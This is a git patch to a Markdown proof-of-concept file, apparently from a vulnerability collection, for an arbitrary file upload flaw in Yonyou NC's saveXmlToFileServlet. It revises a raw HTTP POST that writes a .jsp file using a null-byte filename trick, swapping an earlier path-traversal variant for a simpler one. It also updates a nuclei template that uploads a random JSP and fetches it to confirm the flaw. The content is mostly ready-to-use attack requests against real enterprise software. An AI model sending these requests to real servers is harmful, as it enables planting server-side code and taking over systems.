From 256e13cfc4df52fd79cd3f7a8c99d7ee22df1d8f Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Thu, 11 Apr 2024 20:05:59 +0800 Subject: [PATCH] =?UTF-8?q?Update=20=E7=94=A8=E5=8F=8BNC=E6=8E=A5=E5=8F=A3?= =?UTF-8?q?saveXmlToFIleServlet=E5=AD=98=E5=9C=A8=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E4=B8=8A=E4=BC=A0.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 用友NC接口saveXmlToFIleServlet存在文件上传.md | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/用友NC接口saveXmlToFIleServlet存在文件上传.md b/用友NC接口saveXmlToFIleServlet存在文件上传.md index cbf610d..9597fda 100644 --- a/用友NC接口saveXmlToFIleServlet存在文件上传.md +++ b/用友NC接口saveXmlToFIleServlet存在文件上传.md @@ -11,15 +11,17 @@ title:"YONYOU NC" ## poc ``` -POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\test9527.jsp%00 HTTP/1.1 -Host: xxxxx +POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=12121.jsp%00 HTTP/1.1 +Host: Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 +Content-Length: 19 -123 - +111 ``` +文件路径:`http://ip:port/portal/processxml/12121.jsp` + ## nuclei ```nuclei id: yonyou-uap-saveXmlToFileServlet-upload-file @@ -31,7 +33,7 @@ info: http: - method: POST path: - - "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\{{randstr_1}}.jsp%00" + - "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename={{randstr_1}}.jsp%00" headers: Cookie: LA_K1=langid serverEnable: localserver @@ -45,7 +47,7 @@ http: - method: GET path: - - "{{BaseURL}}/{{randstr_1}}.jsp" + - "{{BaseURL}}/portal/processxml/{{randstr_1}}.jsp" matchers: - type: word words: